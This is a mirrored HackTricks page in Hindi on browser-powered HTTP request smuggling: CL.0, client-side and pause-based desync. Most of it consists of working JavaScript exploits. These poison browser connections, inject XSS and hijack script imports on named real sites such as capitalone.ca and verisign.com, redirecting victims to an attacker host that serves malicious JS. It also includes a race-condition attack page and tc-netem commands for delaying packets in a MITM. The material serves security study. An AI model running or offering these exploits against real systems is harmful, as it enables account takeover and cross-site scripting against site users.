mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
312 lines
38 KiB
Markdown
312 lines
38 KiB
Markdown
# Browser HTTP Request Smuggling
|
|
|
|
<details>
|
|
|
|
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
|
|
|
HackTricks का समर्थन करने के अन्य तरीके:
|
|
|
|
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
|
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
|
|
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर हमें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) **का अनुसरण करें**।
|
|
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
|
|
|
</details>
|
|
## CL.0/H2.0 browser-compatible desync
|
|
|
|
यह भेद्यता तब होती है जब **Content Length** (CL) हेडर को **backend server** द्वारा पूरी तरह से **अनदेखा** किया जाता है। फिर, बैक-एंड **body** को दूसरे अनुरोध के **method की शुरुआत** के रूप में मानता है। CL को अनदेखा करना इसे 0 के मान के रूप में मानने के बराबर है, इसलिए यह एक CL.0 desync है - एक [ज्ञात](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) लेकिन कम अन्वेषित हमले की श्रेणी।
|
|
|
|
 (1) (2).png>)
|
|
|
|
हमला संभव था क्योंकि बैक-एंड सर्वर बस **POST अनुरोध की अपेक्षा नहीं कर रहा था**।
|
|
|
|
{% hint style="warning" %}
|
|
ध्यान दें कि यह भेद्यता एक पूरी तरह से **वैध**, विनिर्देश-अनुरूप **HTTP अनुरोध** द्वारा **ट्रिगर** की जा रही है। इसका मतलब है कि **front-end के पास इसके खिलाफ सुरक्षा करने का कोई मौका नहीं है**, और यह एक ब्राउज़र द्वारा भी ट्रिगर किया जा सकता है।
|
|
{% endhint %}
|
|
|
|
**CL.0** और **H2.0** के बीच का एकमात्र **अंतर** यह है कि दूसरा **HTTP2** का उपयोग कर रहा है (जिसमें एक निहित content-length हेडर है) लेकिन **backend उसका भी उपयोग नहीं कर रहा है**।
|
|
|
|
## Client-Side Desync
|
|
|
|
पारंपरिक desync हमले **कनेक्शन को जहरीला** बनाते हैं जो कि **front-end और back-end** सर्वर के बीच होता है, और इसलिए वे उन वेबसाइटों पर असंभव हैं जो front-end/back-end आर्किटेक्चर का उपयोग नहीं करते हैं। ये अब से **server-side desync** हैं। अधिकांश **server-side desyncs** केवल एक **कस्टम HTTP क्लाइंट द्वारा एक दोषपूर्ण अनुरोध जारी करके ट्रिगर किए जा सकते हैं।**
|
|
|
|
एक **ब्राउज़र द्वारा desync का कारण बनने की क्षमता** एक नई धमकी की श्रेणी को सक्षम बनाती है जिसे **client-side desync** (CSD) कहा जाता है।\
|
|
CSD हमला इसके साथ शुरू होता है कि **पीड़ित हमलावर की वेबसाइट पर जाता है**, जो फिर उनके ब्राउज़र को **दो क्रॉस-डोमेन अनुरोध भेजने के लिए बनाता है जो कि भेद्य वेबसाइट पर होते हैं**। **पहला** अनुरोध इस तरह से तैयार किया जाता है कि वह **ब्राउज़र के कनेक्शन को desync कर दे** और **दूसरा अनुरोध** एक हानिकारक प्रतिक्रिया को ट्रिगर करे, जो आमतौर पर हमलावर को पीड़ित के खाते का नियंत्रण देता है।
|
|
|
|
### Detect
|
|
|
|
CSD वेक्टर एक HTTP अनुरोध है जिसमें **दो** **मुख्य** गुण होते हैं।
|
|
|
|
पहला, **सर्वर को अनुरोध के Content-Length (CL)** को अनदेखा करना चाहिए। यह आमतौर पर इसलिए होता है क्योंकि अनुरोध ने या तो **सर्वर त्रुटि को ट्रिगर किया**, या सर्वर बस **चुने गए एंडपॉइंट पर POST अनुरोध की अपेक्षा नहीं कर रहा था**। **स्थिर फाइलों** और **सर्वर-स्तरीय रीडायरेक्ट्स** को लक्षित करने का प्रयास करें, और **अत्यधिक-लंबे-URLs** के माध्यम से, और **अर्ध-दोषपूर्ण** वाले जैसे /%2e%2e के माध्यम से त्रुटियों को ट्रिगर करें।
|
|
|
|
दूसरा, अनुरोध को **वेब-ब्राउज़र क्रॉस-डोमेन में ट्रिगर किया जा सकना चाहिए**। ब्राउज़र क्रॉस-डोमेन अनुरोधों पर नियंत्रण को काफी प्रतिबंधित करते हैं, इसलिए आपके पास हेडर्स पर सीमित नियंत्रण होता है, और यदि आपके अनुरोध में एक बॉडी है तो आपको HTTP POST मेथड का उपयोग करना होगा। अंततः आप केवल **URL** पर ही **नियंत्रण** रखते हैं, प्लस कुछ अन्य चीजें जैसे कि **Referer हेडर**, **बॉडी**, और **Content-Type का बाद का हिस्सा।**
|
|
|
|
#### CL ignore testing
|
|
|
|
इस मिसकॉन्फिग को टेस्ट करने का तरीका यह है कि **दो अनुरोध भेजें और बीच में एक को smuggle करें**। यदि **smuggled** कनेक्शन ने **दूसरे** **अनुरोध** की प्रतिक्रिया को **प्रभावित किया**, इसका मतलब है कि यह **भेद्य** है:
|
|
|
|
 (2) (2) (1).png>)
|
|
|
|
{% hint style="warning" %}
|
|
ध्यान दें कि आप इस भेद्यता का परीक्षण केवल भेजे गए एक से **बड़े Content-Length** को भेजकर और **टाइमआउट की तलाश में** नहीं कर सकते क्योंकि कुछ सर्वर **पूरी बॉडी प्राप्त नहीं होने पर भी प्रतिक्रिया देते हैं**।
|
|
{% endhint %}
|
|
|
|
यह जानना महत्वपूर्ण है कि क्या **लक्ष्य वेबसाइट HTTP**/2 का समर्थन करती है। CSD हमले आमतौर पर HTTP/1.1 कनेक्शन पुन: उपयोग का शोषण करते हैं और वेब **ब्राउज़र्स HTTP/2 का उपयोग करना पसंद करते हैं** जब भी संभव हो, इसलिए यदि लक्ष्य **वेबसाइट HTTP/2 का समर्थन करती है तो आपके हमले काम करने की संभावना कम है**। एक **अपवाद** है; कुछ **forward proxies HTTP/2 का समर्थन नहीं करते** हैं इसलिए आप उनका उपयोग करने वाले किसी का शोषण कर सकते हैं। इसमें कॉर्पोरेट प्रॉक्सी, कुछ घुसपैठी VPN और यहां तक कि कुछ सुरक्षा उपकरण भी शामिल हैं।
|
|
|
|
### Confirm
|
|
|
|
सबसे पहले, एक साइट का चयन करें जहां से हमला शुरू करना है। इस साइट को **HTTPS के माध्यम से एक्सेस किया जाना चाहिए** और यह **लक्ष्य डोमेन से अलग होना चाहिए**।
|
|
|
|
अगला, सुनिश्चित करें कि आपने कोई प्रॉक्सी कॉन्फ़िगर नहीं की है, फिर अपनी हमला साइट पर ब्राउज़ करें। **डेवलपर टूल्स** ख
|
|
```javascript
|
|
fetch('https://example.com/', {
|
|
method: 'POST',
|
|
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
|
|
mode: 'no-cors', // ensure connection ID is visible
|
|
credentials: 'include' // poison 'with-cookies' pool
|
|
}).then(() => {
|
|
location = 'https://example.com/' // use the poisoned connection
|
|
})
|
|
```
|
|
### शोषण - स्टोर
|
|
|
|
एक विकल्प यह है कि लक्ष्य साइट पर ऐसी कार्यक्षमता की पहचान करें जो आपको **पाठ डेटा स्टोर** करने देती है, और प्रीफिक्स को इस तरह से तैयार करें कि आपके पीड़ित के कुकीज़, प्रमाणीकरण हेडर्स, या पासवर्ड **कहीं संग्रहित हो जाएं जहां आप उन्हें पुनः प्राप्त कर सकें**। यह हमला प्रवाह [लगभग सर्वर-साइड अनुरोध शोषण के समान ही काम करता है](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), इसलिए मैं इस पर अधिक ध्यान नहीं दूंगा।
|
|
|
|
### शोषण - **चेन\&पिवट**
|
|
|
|
सामान्य परिस्थितियों में, कई प्रकार के **सर्वर-साइड हमले** केवल उस हमलावर द्वारा शुरू किए जा सकते हैं जिसकी सीधी पहुंच लक्ष्य वेबसाइट पर होती है क्योंकि वे **HTTP अनुरोधों पर निर्भर करते हैं जिन्हें ब्राउज़र भेजने से इनकार करते हैं**, जैसे कि **HTTP हेडर्स में छेड़छाड़** - वेब कैश पॉइज़निंग, अधिकांश सर्वर-साइड अनुरोध शोषण, होस्ट-हेडर हमले, यूज़र-एजेंट आधारित [SQLi](https://portswigger.net/web-security/sql-injection), CSRF JSON Content-type और अन्य कई।
|
|
|
|
सफल हमले के लिए सबसे सरल मार्ग दो मुख्य तकनीकों से आया जो आमतौर पर सर्वर-साइड डिसिंक हमलों के लिए उपयोग की जाती हैं: [**जावास्क्रिप्ट संसाधन विषाक्तता होस्ट-हेडर रीडायरेक्ट्स के माध्यम से**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), और [**HEAD मेथड**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) का उपयोग करके हानिकारक HTML के साथ एक प्रतिक्रिया को जोड़ना। दोनों तकनीकों को **अनुकूलित** करने की आवश्यकता थी ताकि कुछ नई चुनौतियों का सामना किया जा सके जो **पीड़ित के ब्राउज़र** में संचालन से जुड़ी हुई थीं।
|
|
|
|
## शोषण उदाहरण
|
|
|
|
### स्टैक्ड HEAD उदाहरण
|
|
|
|
* **रंगीन शोषण**
|
|
|
|
 (3).png>)
|
|
|
|
* **JS शोषण**
|
|
```javascript
|
|
fetch('https://www.capitalone.ca/assets', {
|
|
method: 'POST',
|
|
// use a cache-buster to delay the response
|
|
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
|
|
credentials: 'include',
|
|
mode: 'cors' // throw an error instead of following redirect
|
|
}).catch(() => {
|
|
location = 'https://www.capitalone.ca/'
|
|
})va
|
|
```
|
|
व्याख्या:
|
|
|
|
* **CL.0 का दुरुपयोग** /assets में (यह /assets/ की ओर रीडायरेक्ट करता है और CL की जांच नहीं करता)
|
|
* **HEAD** अनुरोध को **Smuggle** करें (क्योंकि HEAD प्रतिक्रियाएँ अभी भी एक content-length समाविष्ट करती हैं)
|
|
* **GET** अनुरोध को **Smuggle** करें जिसका **सामग्री** प्रतिक्रिया में पेलोड के साथ **प्रतिबिंबित** होने वाला है।
|
|
* HEAD अनुरोध के **content-length** के कारण, इस अनुरोध की **प्रतिक्रिया** HEAD अनुरोध के **शरीर** होगी
|
|
* **cors mode** सेट करें। सामान्यतः यह नहीं किया जाता है, लेकिन इस मामले में सर्वर की **प्रारंभिक** **POST** की प्रतिक्रिया एक **रीडायरेक्ट** है जिसे अगर **अनुसरण** किया जाए तो **exploit काम नहीं करेगा**। इसलिए, **cors mode** का उपयोग एक **त्रुटि** को **ट्रिगर** करने और **`catch`** के साथ पीड़ित को **रीडायरेक्ट** करने के लिए किया जाता है।
|
|
|
|
### **Host header redirect + client-side cache poisoning**
|
|
|
|
* **JS exploit**
|
|
```javascript
|
|
fetch('https://redacted/', {
|
|
method: 'POST',
|
|
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
|
|
credentials: 'include'}
|
|
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
|
|
```
|
|
* `/+webvpn+/` पर **अलग डोमेन के साथ Host हेडर** में एक अनुरोध का जवाब **रीडायरेक्ट** के साथ दिया जाता है `/+webvpn+/index.html` उसी **डोमेन** के लिए जो Host हेडर में है।
|
|
* **दूसरे** अनुरोध में स्थान को `/+CSCOE+/win.js` पर सेट किया जाता है ताकि उस `.js` फाइल के **कैश** को **जहरीला** बनाया जा सके।
|
|
* इस अनुरोध का जवाब `/+webvpn+/` के रीडायरेक्ट के साथ दिया जाएगा जो हमलावर के डोमेन के साथ पथ `/+webvpn+/index.html` पर होगा।
|
|
* **`win.js`** का **कैश** एक **रीडायरेक्ट** के साथ **जहरीला** हो जाएगा जो **हमलावर** के पेज पर होगा, लेकिन **पीड़ित** भी `location` वेरिएबल में निर्धारित के अनुसार रीडायरेक्ट का **पालन** करेगा और हमलावर के वेब पेज पर समाप्त होगा।
|
|
* हमलावर फिर **पीड़ित** को `https://redacted/+CSCOE+/logon.html` पर **रीडायरेक्ट** करेगा। यह पेज `/+CSCOE+/win.js` को इम्पोर्ट करेगा। जिसका **कैश एक रीडायरेक्ट** है **हमलावर** के सर्वर पर, इसलिए, हमलावर **दुर्भावनापूर्ण JS के साथ जवाब दे सकता है**।
|
|
|
|
**पीड़ित** हमलावर के पेज को **दो बार एक्सेस** करेगा, पहली बार यह **HTML की उम्मीद करता है** जो पीड़ित को वापस `https://redacted/+CSCOE+/logon.html` पर रीडायरेक्ट करता है और दूसरी बार यह **जावास्क्रिप्ट कोड की उम्मीद करता है** (पेलोड)। एक पॉलीग्लॉट का उपयोग करके दोनों प्रतिक्रियाओं को केवल एक में सेवा की जा सकती है:
|
|
```
|
|
HTTP/1.1 200 OK
|
|
Content-Type: text/html
|
|
|
|
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
|
|
```
|
|
### HEAD पेलोड चंक्ड TE के साथ
|
|
|
|
CSD की तलाश में आप **आंशिक रूप से विकृत** URLs जैसे `/..%2f` या `/%2f` का भी **परीक्षण कर सकते हैं**।
|
|
|
|
* **रंगीन एक्सप्लॉइट**
|
|
|
|
 (2) (1).png>)
|
|
|
|
* **JS एक्सप्लॉइट**
|
|
```javascript
|
|
fetch('https://www.verisign.com/%2f', {
|
|
method: 'POST',
|
|
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
|
|
credentials: 'include',
|
|
headers: {'Content-Type': 'application/x-www-form-urlencoded'
|
|
}}).catch(() => {
|
|
let form = document.createElement('form')
|
|
form.method = 'POST'
|
|
form.action = 'https://www.verisign.com/robots.txt'
|
|
form.enctype = 'text/plain'
|
|
let input = document.createElement('input')
|
|
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
|
|
input.value = ''
|
|
form.appendChild(input)
|
|
document.body.appendChild(form)
|
|
form.submit()
|
|
}
|
|
```
|
|
* पेज **`/%2f`** को **CL.0** भेद्यता का **शोषण** करने के लिए एक्सेस किया जाता है।
|
|
* एक **HEAD** अनुरोध को **`Transfer-Encoding: chunked` हेडर** का उपयोग करके छिपाया जाता है।
|
|
* इस परिदृश्य में यह हेडर आवश्यक है क्योंकि अन्यथा **सर्वर ने शरीर के साथ HEAD अनुरोध को स्वीकार करने से इनकार कर दिया**।
|
|
* फिर, उपयोगकर्ता एक POST भेजता है जिसके शरीर में पिछले HEAD अनुरोध का **अंतिम टुकड़ा** और एक **नया अनुरोध जो छिपाया गया है** के साथ **सामग्री** (JS पेलोड) होती है जो प्रतिक्रिया में **परिलक्षित** होगी।
|
|
* इसलिए ब्राउज़र HEAD अनुरोध के **प्रतिक्रिया** को POST अनुरोध के **प्रतिक्रिया** के रूप में मानेगा जिसमें **शरीर** प्रतिक्रिया भी **शामिल** होगी जो दूसरे छिपे हुए अनुरोध में उपयोगकर्ता के **इनपुट** को **परिलक्षित** करती है।
|
|
|
|
### होस्ट हेडर रीडायरेक्ट + RC
|
|
|
|
* **JS शोषण**
|
|
```html
|
|
<script>
|
|
function reset() {
|
|
fetch('https://vpn.redacted/robots.txt',
|
|
{mode: 'no-cors', credentials: 'include'}
|
|
).then(() => {
|
|
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
|
|
})
|
|
setTimeout(poison, 120) // worked on 140. went down to 110
|
|
}
|
|
|
|
function poison(){
|
|
sendPoison()
|
|
sendPoison()
|
|
sendPoison()
|
|
setTimeout(reset, 1000)
|
|
}
|
|
|
|
function sendPoison(){
|
|
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
|
|
{
|
|
method: 'POST',
|
|
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
|
|
mode: 'no-cors',
|
|
credentials: 'include'
|
|
}
|
|
)
|
|
}
|
|
|
|
</script>
|
|
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
|
```
|
|
इस मामले में, फिर से, एक **host header** **redirect** है जिसका उपयोग **JS** आयात को **हाइजैक** करने के लिए किया जा सकता है। हालांकि, इस बार **redirect cacheable नहीं है**, इसलिए क्लाइंट-साइड **cache poisoning** एक विकल्प नहीं है।
|
|
|
|
इसलिए, किया गया हमला **पीड़ित को कमजोर पेज तक पहुंचाएगा** एक टैब में और फिर, बस **उससे पहले** कि पेज **JS फाइल लोड** करने की कोशिश करे, **सॉकेट को पॉइज़न** करेगा **smuggling connections** (इस मामले में 3)।\
|
|
क्योंकि **समय** को बहुत ही **सटीक** होना चाहिए, हमला हर **नए टैब पर प्रत्येक इटरेशन** पर किया जाता है जब तक कि यह काम नहीं करता।
|
|
|
|
{% hint style="warning" %}
|
|
ध्यान रखें कि इस मामले में `/meeting_testjs.cgi` पर हमला किया गया क्योंकि यह एक **Javascript लोड** करता है जो एक **404** के साथ प्रतिक्रिया दे रहा है, इसलिए यह कैश्ड नहीं है। अन्य परिदृश्यों में जहां आप **कैश्ड JS पर हमला** करने की कोशिश करते हैं, आपको इसे **कैश से गायब होने का इंतजार** करना होगा इससे पहले कि आप नया हमला शुरू करें।
|
|
{% endhint %}
|
|
|
|
सारांश चरण:
|
|
|
|
* एक नई विंडो खोलें।
|
|
* निरंतर समय के लिए एक हानिरहित अनुरोध लक्ष्य को भेजें, एक ताजा कनेक्शन स्थापित करने के लिए।
|
|
* विंडो को /meeting\_testjs.cgi पर लक्ष्य पृष्ठ पर नेविगेट करें।
|
|
* 120ms बाद, रीडायरेक्ट गैजेट का उपयोग करके तीन पॉइज़न कनेक्शन बनाएं।
|
|
* 5ms बाद, /meeting\_testjs.cgi रेंडर करते समय पीड़ित को उम्मीद है कि /appletRedirect.js को आयात करने की कोशिश करेगा और x.psres.net पर रीडायरेक्ट हो जाएगा, जो दुर्भावनापूर्ण JS सेवा करेगा।
|
|
* अगर नहीं, तो हमले को फिर से कोशिश करें।
|
|
|
|
## Pause-based desync <a href="#pause" id="pause"></a>
|
|
|
|
पॉज़िंग भी **गलत अनुरोध-समय सीमा कार्यान्वयन को ट्रिगर** करके नई desync संवेदनशीलताएं पैदा कर सकती हैं।
|
|
|
|
इसलिए, एक हमलावर एक अनुरोध भेज सकता है जिसमें **हेडर्स इंगित करते हैं कि एक बॉडी है**, और फिर **फ्रंट-एंड के टाइमआउट होने का इंतजार करें बॉडी भेजने से पहले**। अगर फ्रंट-एंड टाइमआउट हो जाता है लेकिन **कनेक्शन खुला छोड़ देता है**, तो उस अनुरोध की **बॉडी** को **नए अनुरोध के रूप में माना जाएगा**।
|
|
|
|
### उदाहरण: **Varnish**
|
|
|
|
Varnish cache में `synth()` नामक एक फीचर है, जो आपको बैक-एंड को अनुरोध भेजे बिना **प्रतिक्रिया जारी** करने देता है। यहाँ एक उदाहरण नियम है जिसका उपयोग एक फोल्डर तक पहुंच को ब्लॉक करने के लिए किया जा रहा है:
|
|
```javascript
|
|
if (req.url ~ "^/admin") {
|
|
return (synth(403, "Forbidden"));
|
|
}
|
|
```
|
|
जब **आंशिक अनुरोध** को प्रोसेस किया जाता है जो किसी सिंथ नियम से मेल खाता है, तो Varnish **समय समाप्त** हो जाएगा अगर उसे **15 सेकंड** तक कोई डेटा प्राप्त नहीं होता है। जब ऐसा होता है, तो यह कनेक्शन को पुन: उपयोग के लिए खुला **छोड़ देता है** हालांकि उसने सॉकेट से केवल आधा अनुरोध ही पढ़ा होता है। इसका मतलब है कि अगर **क्लाइंट दूसरे हिस्से के साथ आगे बढ़ता है** तो उसे एक **नए अनुरोध** के रूप में समझा जाएगा।
|
|
|
|
एक संवेदनशील फ्रंट-एंड पर पॉज़-आधारित डिसिंक को ट्रिगर करने के लिए, अपने हेडर्स भेजना शुरू करें, शरीर का वादा करें, और फिर बस प्रतीक्षा करें। अंततः आपको एक प्रतिक्रिया प्राप्त होगी और जब आप अंत में अपने अनुरोध शरीर भेजेंगे, तो इसे एक नए अनुरोध के रूप में समझा जाएगा:
|
|
|
|
 (3) (1).png>)
|
|
|
|
{% hint style="warning" %}
|
|
जाहिरा तौर पर यह 25 जनवरी को [CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html) के रूप में पैच किया गया था।
|
|
{% endhint %}
|
|
|
|
### उदाहरण: **Apache**
|
|
|
|
Varnish की तरह, यह **उन एंडपॉइंट्स पर संवेदनशील है जहां सर्वर स्वयं प्रतिक्रिया उत्पन्न करता है** बजाय इसके कि अनुरोध को एप्लिकेशन संभाले। ऐसा होने का एक तरीका सर्वर-स्तरीय रीडायरेक्ट्स है: `Redirect 301 / /en`
|
|
|
|
### सर्वर-साइड शोषण <a href="#server" id="server"></a>
|
|
|
|
अगर संवेदनशील सर्वर (Apache या Varnish इस मामले में) बैक-एंड में है, तो एक **फ्रंट-एंड** की आवश्यकता होती है जो **बैक-एंड** सर्वर को अनुरोध (http headers इस मामले में) **बिना बफरिंग** के **स्ट्रीम करता है**।
|
|
|
|
 (3).png>)
|
|
|
|
इस मामले में हमलावर को **प्रतिक्रिया समय समाप्ति तब तक प्राप्त नहीं होगी जब तक वह शरीर नहीं भेज देता**। लेकिन अगर उसे समय समाप्ति का पता है तो यह समस्या नहीं होनी चाहिए।
|
|
|
|
Amazon का Application Load Balancer (ALB) **जरूरत के अनुसार कनेक्शन का डेटा स्ट्रीम करेगा**, लेकिन अगर वह **प्रतिक्रिया** प्राप्त करता है आधे अनुरोध (समय समाप्ति) के **पहले** शरीर प्राप्त करने से **पहले**, तो वह **शरीर नहीं भेजेगा**, इसलिए यहां एक **Race Condition** का शोषण किया जाना चाहिए:
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
ALB के पीछे Apache का शोषण करने के लिए एक अतिरिक्त जटिलता है - **दोनों सर्वरों** का एक डिफ़ॉल्ट **समय समाप्ति 60 सेकंड** है। इससे अनुरोध के दूसरे भाग को भेजने के लिए एक **अत्यंत छोटी समय-खिड़की** बचती है। RC हमला अंततः 66 घंटे के बाद सफल रहा।
|
|
|
|
### MITM शोषण
|
|
|
|
यह स्पष्ट रूप से **ब्राउज़र से एक अनुरोध को रोकना संभव नहीं है** ताकि Pause-desync भेद्यता का शोषण किया जा सके। हालांकि, आप हमेशा **एक MITM हमला करके एक अनुरोध को रोक सकते हैं** जो ब्राउज़र द्वारा भेजा गया है। ध्यान दें कि यह हमला **किसी भी ट्रैफिक को डिक्रिप्ट करने पर निर्भर नहीं करता** है।
|
|
|
|
हमले का प्रवाह एक नियमित क्लाइंट-साइड डिसिंक हमले के समान है। उपयोगकर्ता एक हमलावर-नियंत्रित पृष्ठ पर जाता है, जो लक्ष्य एप्लिकेशन के लिए एक श्रृंखला की **क्रॉस-डोमेन अनुरोध** जारी करता है। **पहला HTTP** अनुरोध जानबूझकर इतना **बड़ा** पैड किया जाता है कि ऑपरेटिंग सिस्टम इसे कई TCP पैकेटों में **विभाजित कर देता है**, जिससे एक सक्रिय **MITM अंतिम पैकेट को देरी कर सकता है**, एक पॉज़-आधारित डिसिंक को ट्रिगर करता है। पैडिंग के कारण, **हमलावर** **आकार** के आधार पर सरलता से पहचान सकता है कि किस **पैकेट को रोकना** है।
|
|
|
|
क्लाइंट-साइड से यह एक नियमित क्लाइंट-साइड डिसिंक की तरह दिखता है HEAD गैजेट का उपयोग करते हुए, अनुरोध पैडिंग को छोड़कर:
|
|
```javascript
|
|
let form = document.createElement('form')
|
|
form.method = 'POST'
|
|
form.enctype = 'text/plain'
|
|
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
|
|
let input = document.createElement('input')
|
|
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
|
|
input.value = "x"
|
|
form.append(input)
|
|
document.body.appendChild(form)
|
|
form.submit()
|
|
```
|
|
आक्रमणकारी प्रणाली पर अंधा MITM करते समय, देरी को tc-NetEm का उपयोग करके लागू किया गया था:
|
|
```bash
|
|
# Setup
|
|
tc qdisc add dev eth0 root handle 1: prio priomap
|
|
|
|
# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
|
|
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
|
|
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
|
|
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
|
|
and 'cmp(u16 at 2 layer network lt 0x0514)' \
|
|
flowid 1:3
|
|
|
|
# Delay flagged packets by 61 seconds
|
|
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
|
|
```
|
|
## **संदर्भ**
|
|
|
|
* इस पोस्ट की सभी जानकारी [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) से ली गई है।
|
|
|
|
<details>
|
|
|
|
<summary><strong> AWS हैकिंग सीखें शून्य से लेकर हीरो तक </strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
|
|
|
HackTricks का समर्थन करने के अन्य तरीके:
|
|
|
|
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
|
|
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** पर हमें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) **का पालन करें.**
|
|
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
|
|
|
</details>
|